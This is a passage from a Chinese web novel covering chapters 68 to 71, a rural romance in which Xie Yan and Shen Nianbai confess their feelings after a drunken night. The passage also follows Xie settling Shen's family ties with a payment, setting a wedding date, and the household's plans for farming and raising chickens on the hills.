柳梦寒已经在做晚饭了,看见他失魂落魄的回来,连忙迎上前问道:“谢言哥,你怎么了?”
谢言看向他,“有酒吗?”
柳梦寒微微皱眉,但还是回答,“有。”
谢言道:“多装些。”
柳梦寒问道:“要带走?”
“嗯。”
见他状态这么不对,柳梦寒虽然担心但又不敢他交代的活,急急的去把酒装了两竹筒,“这些够吗?”
“够了。”谢言拿着酒就要走,走之前又与柳梦寒说道,“我去山上,不用来找我。”
柳梦寒诧异的问道:“你带酒去山上?”
谢言没有理会他,径直上了山。
柳梦寒看着谢言的背景,心里止不住担心,急得他使劲的铲锅铲,就在这时他听到了一个非常熟悉的声音。
“梦寒。”
谢言来到山洞,此时天已经全黑了,他坐在山洞口,打开竹筒一股浓郁飘香的酒味就传了出来,谢言仰头大喝了一口,辛辣入喉,刺激的口感瞬间就将他的眼泪逼了出来,谢言来到这个世界从来没有喝过酒,瞬间就有些头晕了,他又大喝了一口,坐都坐不住了,直接倒在了地上。
辣酒入喉,呛得他不停的咳嗽,咳得天旋地转,恍惚中他又听到了那个日思夜想的声音。
“谢言哥。”
谢言蜷成一团,咳得眼泪都出来了。
“谢言哥,你怎么了?”
背上触摸的感觉如此熟悉,跟梦里的一模一样,谢言突然猛地一个翻身将来人压在了身下。
骤雨初来,雨打芭蕉,呜咽声响了一晚上。
第二天太阳照常升起,他睁开眼睛被强烈的太阳光刺得眼睛疼,他不由自主的眯了眼睛,缓了一会儿才睁开,然后他就看见了他搂着的白花花的人。他的眼睛骤然收缩,昨天晚上竟然不是梦?
他赶紧起来手忙脚乱的找衣服,他找到衣服,下意识要穿,但脑子一瞬间清醒,又赶紧拿了衣服去给沈念白穿。
沈念白身上满是凌乱的抓痕,谢言看都不敢看,只是穿衣服的动作放轻了,衣服不好穿,谢言只能将他给抱着坐了起来,就算这样沈念白都没有醒,只是呓语道:“别..不要了。”
谢言听得耳根都红了,连忙给沈念白穿好了衣服,然后将他好好的放在地上,这才把自己的衣服穿上了。
穿好衣服,谢言坐在沈念白身边回想昨天晚上发生的事,他记得很清楚,他什么话都没有说,沈念白也没有说,一切好像自然而然就发生了。
哦,不对,最先是他强迫的。
谢言扶额,他就是个禽兽,这他要怎么跟沈念白解释?以死谢罪不知道够不够?
就在谢言懊恼的时候,沈念白沙哑的声音响了起来,“谢言哥。”
谢言吓了一大跳,连头也不敢回,他低着头连忙说:“抱歉,我昨天晚上喝多了,我以为是在做梦。我不配当你哥,你想怎么惩罚我都行。”
沈念白坐了起来,起身的时候不知道是扯到了哪里,疼得他‘嘶’了一声。谢言听到声音赶紧回头问道:“哪里痛?”
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沈念白看着谢言,突然别开了脸,他道:“谢言哥,你不用自责,我是自愿的。”
说完沈念白撑着地站了起来,但身体被折腾得太厉害,他起身的时候还差点没站起来,最后还是扶着树才站了起来。
“谢言哥,谢谢你救了我,不过我这辈子就是个错误,只有结束才能解脱。你对我说了那么多次我走了,现在轮到我说了。我走了,谢言哥。”
沈念白哽咽着说完就往山下走去,他走得很慢,每一步似乎都承受着极大的痛苦,在他走过的地方还残留着压抑的哭泣声。
谢言赶紧追了上去,拉住了他的手,看到沈念白满脸的泪,心里泛起密密麻麻的痛楚,他道:“是我的错,是我肖想你,要走也是我走,念白,你留下来,我会离开永远不出现在你面前,我发誓这件事不会有第三个人知晓。”
他越说沈念白的眼泪就流得越凶,谢言看着他泪眼婆娑的样子,心快要裂开了,他仓皇无措的握着沈念白的手,急急说道:“你杀了我吧,念白。”
沈念白见他急得满头大汗,心头一酸,哭着大喊了一声,“谢言哥,他们都欺负我。”
谢言一愣,随即紧紧的皱起了眉头,“谁?谁欺负你,我找他去。”
沈念白脱力得站不住,软软的往下倒,谢言一把就捞住了他,坐到地上将他抱在自己怀里,急急问道:“你说啊,谁欺负你了?”
沈念白拉着谢言的袖子,通红的眼睛似要把这段时间受的委屈倾泄而出,“客人。”
谢言不敢置信,又怒不可遏,“什么?”
此时此刻他看着沈念白的眼泪才后知后觉的想到,以沈念白的相貌一出现必定会惹人觊觎的,都怪他当时若是考虑周全,就不会发生这种事了。
“我去找钟程台去。”
沈念白拉住了他,他吸了吸鼻子,解释道:“他们只是会动手动脚的,张哥他们很照顾我,每次我都躲过去了。”
谢言有些后怕,“那你怎么不跟我说呢?”
沈念白回道:“我怕给你添麻烦,我给你添的麻烦够多了。”
谢言脱口而出,“我不怕麻烦,你也不是麻烦。”
沈念白看着他的眼睛,继续说道:“本来我想回来的..”
谢言搞不懂沈念白的想法,皱着眉问道:“那你怎么没有回来呢?”
沈念白移开了视线,语气有些心虚与落寞,“我怕你不喜欢我,觉得我烦。”
谢言道:“胡说八道,我什么时候觉得你烦了?”
沈念白抬起双眸又看向了谢言,谢言对上他的眼睛,细细的说了句,“我也没有不喜欢你。”
沈念白抿了抿唇,看着又要哭又要笑的,谢言的声音更小了,他说:“我很喜欢你。”
眼睛一眨,眼泪就流出来了,沈念白紧紧抓着谢言的胳膊,低着头同样低低的说了一声,“我也是。”
谢言歪着头装作没听见的样子,问道:“是什么?”
沈念白没有说话只是起身在他脸颊上亲了一下。
68.第 68 章
谢言满心欣喜,又有些不可置信,他没有想到自己纠结难过了这么久,沈念白竟然是喜欢他的。
谢言缓了好一会儿才恢复了冷静,他道:“咱们回家去吧。”
沈念白羞得满天通红,低着头不好意思的说道:“在..在休息一会儿吧,我腿还有些软。”
作为始作俑者谢言当然明白他的意思,他颇为尴尬的微微扭开了头,“我.我背你。”
“家里那么多人,不太好吧,我休息一会儿就好了。”沈念白委婉的拒绝了他,谢言现在满心欢喜,无论沈念白说什么他都会答应。
“听你的,休息好了在回去。”
谢言抱着沈念白回到了山洞里,两人并肩躺着,两人中间隔了一点距离,谢言悄悄的一点一点的挪了过去,直到紧紧的挨着沈念白才停了下来。
手臂上传来温热的触感让谢言抑制不住的扬起了嘴角,他忍不住说道:“真好啊。”
即便只是住在山洞里,但两个人只要在一起,就是最好的。
回想起这段时间发生的事,谢言感叹道:“才过了三四个月,感觉像是过了一辈子一样。”
沈念白侧头看向他,他的心里除了欢喜还压着担忧,所以他只是看着谢言并没有说话,谢言看着他像是不高兴,忙问道:“怎么了?怎么不高兴?”
沈念白抿了抿唇,几经犹豫还是说了出来,“谢言哥,我还是去县城吧。”
听到他的话,谢言的嘴角立马就耷拉下来了,“那你亲我是什么意思?”
沈念白见他误会了,连忙解释:“我不是那个意思,我是怕我回来沈熊又来找你的麻烦。”
谢言这才想起来,户籍的事他还没有跟沈念白说,正好趁这个机会说清楚,“念白,我要跟你坦白一件事,你别生气,你生气也行,但是别不理我。”
沈念白见他说得这么严重,忙问道:“什么事啊?”
谢言这才说道:“你还记得入夏的时候我去卖枇杷,钟大哥提醒我要交税的事吗?”
这件事对他们来说算很大的事了,沈念白当然记得,于是他点头,“怎么了吗?”
谢言继续说道:“当时我去交税,才知道我没有户籍,而你的户籍在四年前就被销户了。”
沈念白接了话道:“我知道,你说你把我的户籍跟你上一块了。”说到这个沈念白不可避免的想起了谢言之前说的话,“你还说我要迁走随时可以迁走。”
谢言没有察觉到沈念白语气中的不高兴,他满心都是怎么将事情说清楚,于是他只是点头,表明他记得当时他确实是这样说的。
“你去了天悦酒楼之后没几天我因为这事又去找了王捕头,结果他跟我说,因为当时他来咱家看到只有家里只有一张床,所以就默认咱俩是夫夫,上户籍的时候我又没有说清楚,所以就稀里糊涂的将咱们就算成夫夫,只交了一个人的丁税。”
听了他的话沈念白惊讶得张大了嘴巴,“啊?”
话都说到这儿,谢言也不在藏着掖着了,他继续说道:“事情就是这样,你要打要骂我都没有怨言。”
谢言没有怨言沈念白倒是有怨言,只不过跟谢言所想完全相反,沈念白疑惑的是,“你怎么不早点说呢?”
谢言老实回道:“当时我见你在天悦酒楼春风得意,我又想着你只是把我当哥哥,所以不知道该怎么开口。”
过去的事都已经过去了,深究也没有意思,而真论起来这件事说什么也怪不到谢言的头上,最初的惊讶的过去,他理智回笼,他问道:“那意思是沈熊不能在把我带回去了?”
谢言点头,“在律法上是这样的。”
沈念白心里稍稍的松了口气,但他还是担心,毕竟沈熊可不是个讲理的人,“但他肯定不会善罢甘休的。”
谢言道:“这个你也不用担心,我之前整过他一回,他应该不会来了。”
沈念白好奇的问道:“什么?”
谢言将事情一五一十的说了,后又说道:“明天我就去找他要那两百文钱去。”
沈念白道:“你肯定要不到的。”
谢言回道:“不管要不要得到,都要去,让他知道我也不是那么好说话的。”顿了一会儿后谢言突然开口试探道,“念白,咱们还在小叶子村,与沈家人抬头不见低头见的,要不,咱们还是给沈熊一些钱,一来算是聘礼,二来,也算报答沈家人的生育之恩。”
话音一落沈念白当场就否定了,“不行,我知道他们的性子,给了一次就会来要二次。从他们为了自己把我许给张屠户的那一天,我就跟沈家没有半点关系了。”
谢言见他如此坚定,也没有在说什么,“好,都听你的。”
谢言没有说沈熊找他要五十两银子的事,他不想沈念白因为这些事而心有内疚。
沈念白看着谢言为了他的事绞尽脑汁的模样,心里越发的暖呼呼的,他伸手抱住了谢言的胳膊,“谢言哥,你真好。”
听着他软乎乎的话,谢言伸手揉了揉他的脑袋,他很想说,为了你,做什么他都愿意。
两人躺到了中午,谢言没有说一句要回去的话,只是肚子十分不停使唤,饿得肚子呱呱叫,他有些不好意思,“可能昨天晚上有只青蛙跑我肚子里去了,没事,不用管。”
沈念白红着脸戳穿他的谎话,“是哪天都不会是昨天。”
“啊?”谢言才想起来昨天晚上他俩干了啥,猛地红了耳尖,磕磕巴巴的挽回,“那..那可能是前天晚上吧。”
沈念白拉了拉谢言的衣服,“谢言哥,咱们回家去吧。”
谢言知道沈念白只是不想自己挨饿,“我真没饿。”
沈念白抿唇笑了笑,“我饿了,我昨天晚上就没吃饭。”
听到他的话,谢言一下就坐了起来,“走,回家吃饭去。”
谢言起了身,沈念白坐起来的时候下意识的‘嘶’了一声,随即脸又红了,谢言问道:“要不,还是我抱你回去吧。”
沈念白撑着地站了起来,“不用,我能走了。”
谢言还是不放心,“真的,我真能抱你,背也行的。”
沈念白红着脸往前走去,同时在一次拒绝了他,“真的不用。”
既然沈念白这么坚持,谢言便也没有继续说下去,两人前后脚的下了山。
快到家,远远就听见柳梦寒激动的声音,“念白。”
沈念白应了声,“诶。”
两人到了家,柳梦寒上前拉着沈念白问东问西的,谢言实在是饿了,就在院子里坐下了,许承志他们都在打扫新房子,见到谢言回
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来,与他打了招呼,同时关心的问道:“谢大哥,你昨天晚上怎么没回来啊?”
谢言回道:“有点事去处理了。”怕他们还要问下去,谢言率先转了话题,“房子打扫好了吗?”
许承志回道:“楼上打扫好了,今天下午把楼下打扫了就可以住了。”
谢言点了头,他看着不远处沉甸甸的稻穗,马上就要割稻谷了,要在割稻谷之前把院坝给垒起来,好晒谷子。
“从明天开始垒坝子吧。”
垒坝子跟打地基一样,都是从山上去开石头来铺上,许承志他们应了声,“嗯。”
谢言坐了一会儿感觉更饿了,看着不远处柳梦寒还拉着沈念白不知道在说什么,沈念白微微低着头,耳尖有些发红,还时不时的看谢言一眼,看着就没说什么正经事于是他喊了声,“念白,吃饭了。”
他突然出声还把沈念白吓了一跳,随即应声,“来了。”
沈念白和柳梦寒一道去灶台端了饭菜,新房子还没有住进去,柳梦寒这段时间还是在之前的灶上做饭。
两人端着饭菜过来,柳梦寒道:“知道你们没吃饭,特意给你们留着的。”
谢言饿狠了,也没有心思说话,一直到吃饭完才抬头,见柳梦寒在看他,便问道:“怎么了?”
柳梦寒笑得有些意味深长,他问道:“谢言哥,新房子建好了,你是不是要跟念白成亲了?”
这话一出,把还在吃饭的沈念白吓得猛地咳了起来,随即猛地瞪了柳梦寒一眼,低声道:“你说什么呢?”
谢言坦然承认,“嗯,我也是这样想的。”
沈念白猛地红了脸,十分诧异的看向了谢言,谢言对他笑了笑,“你呢?”
沈念白没有回答,只是快速的扭过头开始刨饭,谢言也没有追问,转而看向了柳梦寒,“忙你的去吧,我们两口子的事你别跟着凑热闹了。”
柳梦寒笑着应道:“是是是,我不凑热闹了,你们慢慢说,商量好了告诉我,我给你们准备礼堂。”
柳梦寒说完就走了,谢言这才拍了沈念白的肩膀,“慢点吃,当心呛着。”
沈念白停下了刨饭的动作,他抬头看向谢言,好一会儿没有说话。
谢言看着他欲言又止的样子,问道:“怎么了?”
沈念白抿了抿嘴唇,微微皱眉,但眼神中带着希冀,他低声问道:“谢言哥,你刚才说的是真的吗?”
谢言回道:“当然是真的,那你愿意嫁给我吗?”
沈念白微微扬起了嘴角,眼中透露些不敢置信的欣喜来,他低声道:“当然。”
他的声音很小,但谢言也听见了,他知道沈念白脸皮薄,所以也没有想大天白日的逗他,只是与他说起了他的想法,“我打算明天去找张七公算个黄道吉日,咱们早点把亲成了。”
沈念白微微瞪大了眼睛,显然他没有想到会这么快。
谢言见状还以为他没有准备好,“这只是我的想法,你要是觉得太快了,咱们也可以过几年在说这些。”
说完这话,谢言才后知后觉的意识到,他毕竟是活了两世的人,心理已经很成熟了,所以他想早点安定下来,但沈念白才十八岁,他的人生才刚刚开始,想法正是不断变化的时候,过早的成亲对他来说只是束缚。
69.第 69 章
沈念白漂亮的眼睛望着谢言,一眨也没有没眨,“没有。”
谢言疑惑的问了声,“嗯?”
沈念白垂下眼眸,他的声音放得很轻却很郑重,“我没有觉得快,我很早很早就妄想着这一天了。”他说完歪头看向了谢言,勾起嘴角露出一个勉强的笑。
妄想成真的这天,满心欢喜中满是不真实的感觉,好像一场梦,又害怕真的是一场梦,梦醒了发现妄想依然只是妄想。
谢言看出了他的状态不对劲,他担忧的问道:“念白,你怎么了?”
沈念白敛了笑意,他道:“我好怕这只是我夜深人静做的一场梦。”
听到他的话,谢言笑了笑,朝他张开双手,“过来。”
沈念白依然走到他面前,谢言拦腰抱住了他,“当然不是梦。”
沈念白紧紧的抱着谢言的脑袋,久久没有说话。
等沈念白的情绪缓下来,才慢慢的放开了谢言,谢言确定他没事了,才说道:“下午在家里好好休息,我去山上看看。”
沈念白道:“我跟你一起去。”
谢言笑道:“不用,你在家里好好休息。本来我应该在家里陪着你的..”
他话还没有说完,沈念白就急忙说道:“不用,我已经没事了,不用陪的。”
谢言揉了揉他的头,“嗯,我今天割了牛草就回来。”
沈念白道:“嗯。”
谢言道:“你下午好好睡一会儿,要是我知道你下午干了活,晚上回来要被收拾的。”
谢言虽然说得正经,但此时此刻沈念白不可避免的想歪了,他微微红了脸,“知道了。”
谢言见装知道他想歪了,便起了逗弄的意思,“知道厉害了就好。”
沈念白脸更红了,“我去睡觉了。”说着转身就走了。
谢言看着他的背影勾起了唇,这日子真是太美了。
谢言背着背篓就准备上山了,只不过在上山之前他找到了柳梦寒与他说道:“晚上炖几只鸡来吃。”
由于人多,每次吃鸡都要炖七八只,所以平时一般都是吃鱼,一个月只会炖一两次鸡和鸭子。
柳梦寒正在煮猪食,听到谢言的话不由的弯起了嘴角,笑问道:“要不要单独给念白炖一只补身体?”
谢言没有接他的话,只是道:“你看着办,我上山去了。”
谢言上了山,割够了牛草就回来了,回来的时候天都还没黑,一回来就看到沈念白在跟柳梦寒和宋绥安他们一起杀鸡,自从沈念白走了过后都是柳梦寒做饭了,短短几个月就已经把手艺练出来了,现在沈念白都只是给他打下手了。
柳梦寒在杀鸡,沈念白端着碗接血,由于沈念白看到了谢言,所以他动了一下,鸡血就洒到了地上,柳梦寒着急的说道:“哎呀,哎呀,别动。”
谢言将牛草扔地上,走过去接过了沈念白手里的碗放在了地上,“这玩意放地上就行,干嘛要端着。”
柳梦寒这才看到了谢言,“现在是不一样了,谢言哥都不是半夜才回来了。”
谢言道:“杀你的鸡。”说完又看向了沈念白,沈念白解释道:“我刚起来。”
谢言点了头,拉起地上的牛草去了牛棚,沈念白见状跟在他身后,“谢言哥,我帮你。”
谢言道:“不用,你坐着休息。”
沈念白没有听他的,跟在他来到牛棚,帮着他抱了草喂给牛,谢言见沈念白有些不高兴,问道:“怎么不开心?”
沈念白顿了一会儿,回道:“没有不开心,就是感觉离开了好久家里都不一样了。”
谢言明白他的意思,“你是想说不知道该干什么吧?”
沈念白是有这种感觉,以前他做的事现在都有人做了,大家都有事做,就他好像一天都在闲着。
虽然沈念白没说话,但谢言已经看出来了,他道:“你的事给你安排着呢。”
沈念白好奇的问道:“什么?”
谢言道:“我昨天去天悦酒楼,钟大哥说他之前找的花农鲜花供应不上,所以希望我们腾点地方种花。我想这事就由你负责,你觉得怎么样?”
沈念白忙不迭的点头,“好啊。”
谢言道:“等坝子铺起来,就要割谷子了,等谷子割完,咱俩就栽下一季的菜,许承志他们就去开荒,你选一块地,看哪里栽花最合适,等荒开出来了就种花。”
沈念白点头,“好。”
谢言又道:“才回来,多休息几天,活儿多得很,不会让你闲着的。”
沈念白点头,他不怕活多,就怕没有活干,没有活干他总觉得自己像个外人一样。
谢言说着打了个呵欠,他昨天一晚上没睡,今天也没怎么睡,现在已经是困了,但他又担心沈念白刚回来不自在,于是他强忍着困意,与沈念白说道:“你现在打算干什么?”
沈念白回道:“想去跟梦寒一起做饭。”
谢言道:“已经有四五个人在做,灶台都围不下了,现在天还没黑,不如跟我一起去把种花的地方选了。”
沈念白应声,“好。”
“走”
两人并肩出了门,来到池塘看山。
一共三匹山,谢言之前开出来种地的大小对山体来说几乎可以忽略不计,山头还是郁郁葱葱的林子,之前许承志他们干了几天,地方太小也可以忽略不计。
谢言望着山畅想,“我打算山腰以下种菜种地种花,山腰以上种果树,从中间拦断,果树下养点鸡咱们自己吃。”
沈念白看着伫立面前的高山,那茂盛的草木开起荒来是很费劲的,不说砍树就是除草都很费事,现在听到谢言说鸡,他突然想到一个主意,“谢言哥,鸡吃草,咱们是不是可以多喂点鸡,把鸡养在山里,这样开起荒来也快些。”
谢言倒是从没有想过这个方法,听沈念白一说倒是可以试一试,鸡养大了还可以卖。只不过这么大的山要靠鸡开荒,估计一个山头就得养几万只。山上又没有什么吃的,每天喂鸡就得要不少的粮食。
谢言将他的想法跟沈念白说了
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,沈念白想了一下说道:“现在鸡鸭都关在鸭圈里,猪崽长大了,鸡圈也关不下了,不如把这些牲畜都去山上圈一地养在山上,然后慢慢的把圈地扩大,听到唤的声音就知道过来吃食。”
谢言抬头看着山头,心里盘算着,钟程台给了他七十两开荒,给了沈熊五十两过后就只有二十两了,要在多请人肯定是够的,只能先将就现在这些人慢慢干着,等到明年收成过后在慢慢回款。总共二十来个人,不仅要种地还要开荒,三五年都不一定能开完一个山头,还不如照沈念白的法子试试。
“行,那就在中间那座山上养。”
第一座山要慢慢的开出来种地,养牲畜不方便,就从中间那座开始,先看看效果怎么样。
沈念白道:“那我明天就去砍竹子编些栅栏,先把圈围起来。”
谢言也不是拖拉的性子,当时就点头,“行,这些鸡鸭老是关着也不行,一天吵得很。”
“那明天就在这座山脚下种花吧。”沈念白的手指着第二座山,“养了鸡花肥也好弄。”
谢言点头,“行,等谷子收了就把那块地先给开出来。”
“好。”
天渐渐地暗了下来,柳梦寒的声音准时响了起来,“念白,谢言哥,吃饭了。”
沈念白应了声,“来了。”说完看向了谢言,“走吧,回去吃饭。”
谢言点头,“走。”
山路狭窄,容不下两个人,两人便一前一后的走着。
回到家,许承志他们已经坐着了,见到谢言都喊他,“谢大哥。”
谢言点头,“吃饭吧。”
谢言与沈念白坐下,许承志他们关切的与沈念白说话,“念白兄弟,这次回来不走了吧?”
沈念白先是看了谢言一眼,然后才摇着头回道:“不走了。”
许承志道:“不走了好啊,哎呀,你不在的这段时间啊,谢..”说到这儿时柳梦寒端菜过来踢了他一脚,许承志到嘴的话赶紧转了个弯,“咱们大家都可想你了。”
沈念白笑了笑,“我也是。”
谢言见沈念白有些尴尬,于是插了句话,“吃饭吧。”说完又问道,“都打扫完了吗?”
许承志回道:“都打扫完了,今天晚上就可以住进去了。”
谢言想了下,“搬家也算个大事,明天我去找张七公算个好日子。”
许承志点头附和,“这倒是。”
吃完了饭,谢言将后续的工作安排了,“房子建好了,后面就是地里的活和开荒的事了。不过马上就要割稻谷了,这几天先把坝子给做了,割了稻谷好晒。”
许承志他们是来干活的,自然是谢言说什么他们做什么,点头应道:“好,明天我们就去山上开石头。”
谢言道:“嗯,今天没事了,大家早点休息吧。”
许承志道:“行,那我们就回去睡觉了。”
谢言点了头,许承志一行人便走了。谢言起身准备去洗澡结果看到宋明笙在不远处站着,似乎有话要说。
70.第 70 章
谢言开口问道:“宋师傅,有事吗?”
宋明笙走到谢言面前,谢言道:“坐下说。”
宋明笙客气的笑了笑,这才坐下了,谢言看着他说:“宋师傅,有什么话你直说就是。”
宋明笙搓了搓手,这才开口,“谢老板,我想继续留下做工,你看能行吗?”
宋明笙一家是请过来建房子的,现在房子建好了,宋明笙一家自然就该回去了。
谢言听着他的话还有些讶异,在他看来宋家人算是做技术的,没想到会想留在灵秀山这么偏僻的地方干农活,“我倒是很乐意,只是接下来的活都是些农活,这可累人,你确定要留下来吗?”
宋明笙道:“只要谢老板愿意留下我们,我们绝对不会偷懒的。”
谢言赶紧道:“宋师傅严重了,我只是怕埋没了你们的才华。”
宋明笙叹了口气,他的眼眸望进沉沉的黑夜中不见一点光亮,他道:“孩子们都大了,我也不想老是带着他们东奔西跑的,没个着落。”
虽然话是这样说,但谢言明白他的担忧,宋家的三个孩子都长得很天仙似的,带出去容易招人觊觎,自然是在深山里安全。
谢言道:“只要你们愿意留下来,我肯定是欢迎的,我这里的活目前看起来几十年也有干的。”
宋明笙十分感谢的道了谢,“谢谢谢老板。”
谢言道:“客气了,天不早了,回去休息吧。”
宋明笙走了,谢言这才起身回房拿衣服准备去洗澡,在门口遇到了同样拿衣服出来的沈念白,谢言见他拿了一大摞衣服,跟搬家似的,连忙问道:“拿哪儿去啊?”
沈念白回道:“我去跟梦寒一起睡。”
谢言皱眉,“你跟他一起睡?”
沈念白点头,“嗯。”
谢言见左右没人一把把他拉进了屋,低声说道:“你不跟我睡,跟他睡算怎么回事?”
沈念白低着头小声解释道:“现在人这么多,我跟你一起睡这多不好啊。”
这一说谢言脑子也转过来了,他道:“行吧,在成亲之前,你暂时跟他一起睡。”
沈念白道:“谢言哥你最好了。”
谢言听着他奉承的话直接就笑了出来,“那你亲亲我。”
空气静了一会儿,随即一道温热的触感覆在脸上,一触即分。这对谢言来说无异于望梅止渴,于是抱住了沈念白的头,正准备亲下去的时候听见柳梦寒的声音在门外响了起来,“念白,要不要帮忙啊?”
沈念白连忙推开了谢言,急切的回道:“哦哦,不用了,我已经拿好了。”说着就急匆匆的出了门。
没有亲到的谢言很失望,此时又听到柳梦寒在问沈念白,“拿个衣服怎么出这么多汗?”
沈念白急忙解释道:“屋里有点热,快睡觉吧,好困啊。”
柳梦寒打趣着笑问道:“不是屋里热,是屋里的人热吧?”
“说什么呢。”沈念白说着就拉着柳梦寒走远了,他们的声音越来越小,直至完全听不到了谢言才拿了衣服出了门。
第二天一大早天才刚刚亮,谢言就出发往小叶子村去了,谢言只去过小叶子村一次,但他竟然还记得路,一点岔路就到了。
来到小叶子村,谢言找人问了沈熊的家,径直找去了。
谢言来到沈家时,沈熊刚从地里回来准备吃早饭,看到谢言还很稀奇,“嘿,我不找你,你倒来找上我了。”
谢言笑了笑,“沈三叔,你欠我二百文我一直记着呢,今天刚好路过顺便来问问。”
沈熊没好气的问道:“你不要沈念白了?”
谢言从兜里拿出了一锭银子,“这是二十两,剩下的等我拿到婚书后自然会给。”
沈熊问道:“婚书?”
谢言道:“沈三叔要是不会写的话,这银子我可就拿回去了,我也就来这么一回,下次我可不来了。”
拿到沈家的银子哪里有拿回去的道理,沈熊当即说道:“写。”
沈熊哪里会写字,最后还是由沈念英代笔的,沈熊按了手印。谢言见没有问题这才将剩下的钱给了。
“一共四十九两八百文,点清楚啊。”
沈熊皱着眉,“说好的五十两,怎么差两百文?”
谢言道:“沈三叔你忘了,你还欠我两百文,你不还我咱们只有抵了。银货两讫,两不相欠。”
沈熊看着面前的一大堆钱,也不在乎那一两百文了,“行。从此以后咱们沈家就没有沈念白这个人。”
谢言没有在他一眼,拿起桌上的婚书大步离开了沈家。既然目的已经达到,他也没有必要在多费口舌。
从沈家出来后,谢言的心里是轻松的,总算是把沈家人搞定了,他步履轻松的来到张七公家,将来意说了,张七公的动作也很麻利,很快就给他算出了黄道吉日。
“下个月二十三号。”
谢言又问道:“那天搬家如何?”
张七公竖起大拇指,“一门双喜,好得很呐。”
“多谢七公。”谢言给了二十文,离开了小叶子村。
谢言回到家已经是中午了,正赶上吃午饭,吃饭的时候沈念白问他,“张七公算的搬家的吉日是哪天?”
谢言回道:“下个月二十三号。”
沈念白点头,柳梦寒还说:“下个月好啊,谷子也割完了,正好闲下来了。”
谢言笑了笑,“张七公还说,一门双喜,大吉大利。”
沈念白诧异了一瞬,柳梦寒脱口而出,“还有什么喜啊?”话说完才猛地想到了是什么,面带笑意的看向了沈念白,“恭喜啊,谢言哥。”
沈念白低着头耳尖都红了,谢言笑道:“你多酿些酒,到时候咱们不醉不归啊。”
柳梦寒拍着胸脯表示,“酒你别担心,包你喝开心。”
说得正开心呢,突然听到一道大声喊:“哎呀我去,饼二生崽子了。”
谢言一听连忙过去一看,可不就是生崽子了吗?三个小崽子,在狼窝里哼哼唧唧的,身上还湿漉漉的,饼二已经生完了,正在给三个小狼崽舔羊水,看着倒是不虚弱。
谢言赶紧喊了柳梦寒,“赶紧去给饼二煮几个鸡蛋来。”
柳梦寒第一次看到狼生崽子,有些看呆了,听到谢言的话连忙应声,“哦哦,好,我马上去。”
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人太多了,都围在一块,一人说一句吵得很,谢言担心把饼二吓着,赶紧把人疏散了,“该干嘛干嘛去,别吵着饼二了。”
大家一人看了一眼就乖乖的散开了。
灵秀山喜事将近,大家每天干活都喜气洋洋的,十分有干劲。
沈念白带着柳梦寒和宋家人将山上围了好几块出来,分别把鸡鸭和猪都赶了进去,又把之前的鸡圈鸭圈拆了,翻了土,弄成了坝子。
坝子平了两三天,差不多有一百来平,虽然远远没有达到谢言的要求,但是田里的谷子实在等不得了,于是二十人花了两天的时间把地里的谷子全部割完了,打又打了两天,剩下就是晾晒了。
谢言看着院子里的谷子,晒干了大概有三千斤,人吃肯定是够的,但若是养鸡养猪加一块肯定就不够了,于是谢言决定暂时不往天悦酒楼供菜了,只供水果,等明年产量上来在供菜。
谷子割了,过段时间就可以挖红薯和土豆了,红薯土豆的产量高,间差着吃应该能吃到明年去。
房子建好了,大家的活计慢慢的也就分开来了。柳梦寒负责做饭,菜地的活由宋明笙带着宋家人干,许承志他们就负责开荒和一些重体力的活,沈念白则负责种花的事,谢言每天除了割牛草没有固定的活,哪里需要就去哪儿干。
这几天谢言跟沈念白就开始着手实施在荒山养鸡开荒的计划了。
因为怕下雨,每天晚上谷子都要收回屋里去,每天早上看天色,有太阳就挑出来晒,直到晒干入仓。这种重体力的活一般都是谢言当主力,沈念白在旁边帮忙。
三千斤的谷子从屋里挑出来都要挑大半个时辰,谷子在坝子上推成好几个小山。
谢言与沈念白说道:“念白,你晒谷子,我去砍些竹子回来。”
沈念白应声,“好。”
谢言回屋拿了砍刀出来,沈念白正在把谷子推开平铺着晒开。
“我砍竹子去了。”
沈念白应声,“好。”
谢言来到竹林,因为谢言经常来砍竹子,沈念白又会来掰竹子,这几年竹林倒是没有扩张,跟最开始的时候差不多,但依旧很大一片。谢言之前因为好奇估量了一下,这片竹林大概得有二十来亩地了,每年光掰竹笋连着吃一个月都吃不完,吃腻了晒干了一年也也吃完。
谢言砍了十几根竹子,扛了两回全都扛回了院坝。沈念白已经在削竹子了,谢言坐了一会儿后将所有的竹子破开后就背着背篓上山割牛草了。
谢言割完了两背牛草回来,沈念白的栅栏已经编了好大一块了,编的严严实实的,看着十分牢固。谢言喂了牛来到院坝坐着休息,与沈念白闲话,“要编多大?”
沈念白回道:“先编小一点,等鸡适应了,就不用编这么牢实了。”
谢言点头,“那明天就可以把鸡赶到山上去了。”
沈念白回道:“我动作快点,应该可以。”
谢言笑了笑,“不着急,你慢慢弄,也不急着一天两天的。”
“嗯。”
闲聊了两句谢言见沈念白一心忙着编栅栏根本没心思搭理他,他也没有说话了,起身开始给谷子翻面。
71.第 71 章
吃午饭的时候,谢言跟许承志他们说:“在山上遇到手腕粗的小树砍了给我放一块,晚上带回来。”
许承志他们应声,随后许承志问道:“谢大哥,你要小树干什么?”
谢言回道:“我准备在那边二山养鸡,围栅栏用。”
许承志道:“荒山养鸡真是个好主意,鸡一天除了睡觉,就是叨叨叨,要不了多久荒山就能叨叨秃。”
谢言道:“我打的就是这个主意,荒也开了,鸡也养大了。”
说话间许承志看了一眼不远处的山,“这么大的山,要靠鸡开荒的话,怕要不少的鸡哦。”
其他的人听到两人的话,七嘴八舌的说了起来,有的说,“我怕要上万只才够哦。”有的说,“我怕要几十万哦,你看那山这么高这么粗,一点点鸡肯定不得行的。”
“这么多鸡,不晓得要孵好久才能孵够哦。”
听着大家的话,谢言心想,有系统在,小鸡崽要多少有多少,别说几十万只就是几百万也是有的。但问题是,这么多鸡,到时候怎么卖出去呢?
趁人多,谢言顺势问道:“是不是可以顺便养些羊?”
谢言想的是,一头羊应该能顶五只鸡,既能控制鸡的数量卖也容易。
许承志道:“羊吃草和树叶,现在山上多是大树,大树遮了太阳,底下的草和小树懂长不好,少养几只估计还行,多了,我怕养不了。”
谢言看着不远处的山,荒山确实大树多,看来只能少养几头羊,大头还是得养鸡。
谢言盘算着,还得去天悦酒楼问问他们收不收鸡,不然到时候这么多鸡怎么办呢?
事不宜迟,第二天一大早谢言就去了天悦酒楼,他走的时候还带两壶柳梦寒酿的酒,此去一来是为了感谢钟程台这段时间对沈念白的照顾,二来则问问鸡的事。
来到天悦酒楼正好过了饭点,天悦酒楼客人很少,小二也闲了下来,谢言是独自一个人来的,所以他走的前门,小二看到他十分热络的打招呼,“谢老板,今天看着心情不错啊。”
